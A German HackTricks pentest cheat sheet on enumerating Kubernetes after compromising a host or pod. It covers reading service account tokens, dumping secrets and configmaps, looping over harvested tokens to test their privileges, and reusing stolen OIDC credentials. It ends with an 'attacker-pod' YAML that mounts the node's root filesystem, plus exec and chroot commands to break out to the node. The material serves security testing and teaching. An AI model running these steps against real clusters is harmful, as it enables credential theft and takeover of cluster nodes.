Kubernetes Enumeration

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.

Kubernetes Tokens

Wenn du kompromittierten Zugriff auf eine Maschine hast, könnte der Benutzer Zugriff auf eine Kubernetes-Plattform haben. Das Token befindet sich normalerweise in einer Datei, die durch die Umgebungsvariable KUBECONFIG oder innerhalb von ~/.kube angegeben wird.

In diesem Ordner findest du möglicherweise Konfigurationsdateien mit Tokens und Konfigurationen zur Verbindung mit dem API-Server. In diesem Ordner kannst du auch einen Cache-Ordner mit zuvor abgerufenen Informationen finden.

Wenn du einen Pod in einer Kubernetes-Umgebung kompromittiert hast, gibt es andere Orte, an denen du Tokens und Informationen über die aktuelle K8-Umgebung finden kannst:

Service Account Tokens

Bevor du fortfährst, wenn du nicht weißt, was ein Service in Kubernetes ist, empfehle ich dir, diesem Link zu folgen und mindestens die Informationen über die Kubernetes-Architektur zu lesen.

Entnommen aus der Kubernetes Dokumentation:

„Wenn du einen Pod erstellst und kein Service-Konto angibst, wird ihm automatisch das Standard-Service-Konto im selben Namespace zugewiesen.“

ServiceAccount ist ein von Kubernetes verwaltetes Objekt, das verwendet wird, um eine Identität für Prozesse bereitzustellen, die in einem Pod ausgeführt werden. Jedes Service-Konto hat ein zugehöriges Geheimnis, und dieses Geheimnis enthält ein Bearer-Token. Dies ist ein JSON Web Token (JWT), eine Methode zur sicheren Darstellung von Ansprüchen zwischen zwei Parteien.

In der Regel enthält einer der Verzeichnisse:

• /run/secrets/kubernetes.io/serviceaccount

• /var/run/secrets/kubernetes.io/serviceaccount

• /secrets/kubernetes.io/serviceaccount

die Dateien:

• ca.crt: Es ist das CA-Zertifikat zur Überprüfung der Kubernetes-Kommunikation

• namespace: Es zeigt den aktuellen Namespace an

• token: Es enthält das Service-Token des aktuellen Pods.

Jetzt, da du das Token hast, kannst du den API-Server in der Umgebungsvariable KUBECONFIG finden. Für weitere Informationen führe (env | set) | grep -i "kuber|kube" aus.

Das Service-Konto-Token wird mit dem Schlüssel signiert, der sich in der Datei sa.key befindet, und von sa.pub validiert.

Standardstandort auf Kubernetes:

• /etc/kubernetes/pki

Standardstandort auf Minikube:

• /var/lib/localkube/certs

Hot Pods

Hot Pods sind Pods, die ein privilegiertes Service-Konto-Token enthalten. Ein privilegiertes Service-Konto-Token ist ein Token, das die Berechtigung hat, privilegierte Aufgaben wie das Auflisten von Geheimnissen, das Erstellen von Pods usw. auszuführen.

RBAC

Wenn du nicht weißt, was RBAC ist, lies diesen Abschnitt.

GUI-Anwendungen

• k9s: Eine GUI, die einen Kubernetes-Cluster vom Terminal aus auflistet. Überprüfe die Befehle in https://k9scli.io/topics/commands/. Schreibe :namespace und wähle alle aus, um dann Ressourcen in allen Namespaces zu suchen.

• k8slens: Es bietet einige kostenlose Testtage: https://k8slens.dev/

Enumeration CheatSheet

Um eine K8s-Umgebung zu enumerieren, benötigst du ein paar Dinge:

• Ein gültiges Authentifizierungstoken. Im vorherigen Abschnitt haben wir gesehen, wo man nach einem Benutzertoken und einem Service-Konto-Token suchen kann.

• Die Adresse (https://host:port) des Kubernetes-APIs. Diese kann normalerweise in den Umgebungsvariablen und/oder in der Kube-Konfigurationsdatei gefunden werden.

• Optional: Das ca.crt zur Überprüfung des API-Servers. Dies kann an denselben Orten gefunden werden, an denen das Token gefunden werden kann. Dies ist nützlich, um das Zertifikat des API-Servers zu überprüfen, aber wenn du --insecure-skip-tls-verify mit kubectl oder -k mit curl verwendest, benötigst du dies nicht.

Mit diesen Details kannst du Kubernetes enumerieren. Wenn das API aus irgendeinem Grund über das Internet zugänglich ist, kannst du diese Informationen einfach herunterladen und die Plattform von deinem Host aus enumerieren.

In der Regel befindet sich der API-Server jedoch in einem internen Netzwerk, daher musst du einen Tunnel durch die kompromittierte Maschine erstellen, um von deiner Maschine darauf zuzugreifen, oder du kannst die kubectl Binärdatei hochladen oder curl/wget/anything verwenden, um rohe HTTP-Anfragen an den API-Server zu senden.

Unterschiede zwischen den Verben list und get

Mit get Berechtigungen kannst du Informationen über spezifische Assets (describe Option in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Wenn Sie die list Berechtigung haben, dürfen Sie API-Anfragen ausführen, um eine Art von Vermögenswert aufzulisten (get Option in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Wenn Sie die watch-Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Ressourcen zu überwachen:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Sie öffnen eine Streaming-Verbindung, die Ihnen das vollständige Manifest eines Deployments zurückgibt, wann immer es sich ändert (oder wenn ein neues erstellt wird).

Die folgenden kubectl-Befehle zeigen nur, wie man die Objekte auflistet. Wenn Sie auf die Daten zugreifen möchten, müssen Sie describe anstelle von get verwenden.

Verwendung von curl

Von innerhalb eines Pods können Sie mehrere Umgebungsvariablen verwenden:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Standardmäßig kann das Pod auf den kube-api-Server im Domainnamen kubernetes.default.svc zugreifen, und Sie können das Kube-Netzwerk in /etc/resolv.config sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" desselben Bereichs ist der kube-api-Endpunkt).

Verwendung von kubectl

Mit dem Token und der Adresse des API-Servers verwenden Sie kubectl oder curl, um darauf zuzugreifen, wie hier angegeben:

Standardmäßig kommuniziert der APISERVER mit dem https://-Schema

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

Wenn kein https:// in der URL vorhanden ist, erhalten Sie möglicherweise einen Fehler wie Bad Request.

Sie finden ein offizielles kubectl-Spickzettel hier. Das Ziel der folgenden Abschnitte ist es, in geordneter Weise verschiedene Optionen zur Enumeration und zum Verständnis des neuen K8s, auf das Sie Zugriff erhalten haben, zu präsentieren.

Um die HTTP-Anfrage zu finden, die kubectl sendet, können Sie den Parameter -v=8 verwenden.

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Aktuelle Konfiguration

Kubectl

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Wenn es Ihnen gelungen ist, einige Benutzeranmeldeinformationen zu stehlen, können Sie sie lokal konfigurieren mit etwas wie:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Unterstützte Ressourcen abrufen

Mit diesen Informationen wissen Sie, welche Dienste Sie auflisten können

kubectl

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Aktuelle Berechtigungen abrufen

kubectl

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

Eine weitere Möglichkeit, Ihre Berechtigungen zu überprüfen, ist die Verwendung des Tools: https://github.com/corneliusweig/rakkess****

Sie können mehr über Kubernetes RBAC erfahren in:

Kubernetes Role-Based Access Control(RBAC)

Sobald Sie wissen, welche Berechtigungen Sie haben, überprüfen Sie die folgende Seite, um herauszufinden, ob Sie diese ausnutzen können, um Berechtigungen zu eskalieren:

Abusing Roles/ClusterRoles in Kubernetes

Andere Rollen abrufen

kubectl

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Holen Sie sich Namespaces

Kubernetes unterstützt mehrere virtuelle Cluster, die von demselben physischen Cluster unterstützt werden. Diese virtuellen Cluster werden Namespaces genannt.

kubectl

k get namespaces

API

kurl -k -v https://$APISERVER/api/v1/namespaces/

Geheimnisse abrufen

kubectl

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Wenn Sie Geheimnisse lesen können, können Sie die folgenden Zeilen verwenden, um die Berechtigungen zu erhalten, die mit jedem Token verbunden sind:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Dienstkonten abrufen

Wie zu Beginn dieser Seite besprochen wird einem Pod normalerweise ein Dienstkonto zugewiesen. Daher kann das Auflisten der Dienstkonten, ihrer Berechtigungen und wo sie ausgeführt werden, einem Benutzer ermöglichen, Privilegien zu eskalieren.

kubectl

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Get Deployments

Die Deployments geben die Komponenten an, die ausgeführt werden müssen.

kubectl

k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Pods abrufen

Die Pods sind die eigentlichen Container, die ausgeführt werden.

kubectl

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Dienste abrufen

Kubernetes Dienste werden verwendet, um einen Dienst an einem bestimmten Port und einer bestimmten IP bereitzustellen (der als Lastenausgleich für die Pods fungiert, die tatsächlich den Dienst anbieten). Es ist interessant zu wissen, wo Sie andere Dienste finden können, um zu versuchen, anzugreifen.

kubectl

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Knoten abrufen

Holen Sie sich alle Knoten, die im Cluster konfiguriert sind.

kubectl

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

DaemonSets abrufen

DaemonSets ermöglichen es, sicherzustellen, dass ein spezifischer Pod auf allen Knoten des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt.

kubectl

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Cronjob abrufen

Cronjobs ermöglichen es, mit einer crontab-ähnlichen Syntax den Start eines Pods zu planen, der eine bestimmte Aktion ausführt.

kubectl

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Konfigurationsmappe abrufen

Die configMap enthält immer viele Informationen und Konfigurationsdateien, die den in Kubernetes laufenden Apps zur Verfügung gestellt werden. In der Regel finden Sie viele Passwörter, Geheimnisse und Tokens, die zur Verbindung und Validierung mit anderen internen/externen Diensten verwendet werden.

kubectl

k get configmaps # -n namespace

API

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Netzwerk-Richtlinien abrufen / Cilium Netzwerk-Richtlinien

Erster Tab

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Alles / Alle erhalten

kubectl

k get all

Alle von Helm verwalteten Ressourcen abrufen

kubectl

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Pod-Verbrauch abrufen

kubectl

k top pod --all-namespaces

Ausbrechen aus dem Pod

Wenn Sie in der Lage sind, neue Pods zu erstellen, könnten Sie in der Lage sein, aus ihnen zum Knoten auszubrechen. Um dies zu tun, müssen Sie einen neuen Pod mit einer yaml-Datei erstellen, zum erstellten Pod wechseln und dann chroot in das System des Knotens. Sie können bereits vorhandene Pods als Referenz für die yaml-Datei verwenden, da sie vorhandene Images und Pfade anzeigen.

kubectl get pod <name> [-n <namespace>] -o yaml

Wenn Sie ein Pod auf einem bestimmten Knoten erstellen müssen, können Sie den folgenden Befehl verwenden, um die Labels auf dem Knoten abzurufen

k get nodes --show-labels

Häufig sind kubernetes.io/hostname und node-role.kubernetes.io/master gute Labels zur Auswahl.

Dann erstellen Sie Ihre attack.yaml-Datei.

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Danach erstellen Sie das Pod

kubectl apply -f attacker.yaml [-n <namespace>]

Jetzt können Sie zum erstellten Pod wie folgt wechseln

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Und schließlich chrootest du in das System des Knotens.

chroot /root /bin/bash

Informationen erhalten von: Kubernetes Namespace Breakout using Insecure Host Path Volume — Teil 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Referenzen

Kubernetes Pentest Methodology Part 3CyberArk

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs zu den HackTricks und HackTricks Cloud GitHub-Repos einreichst.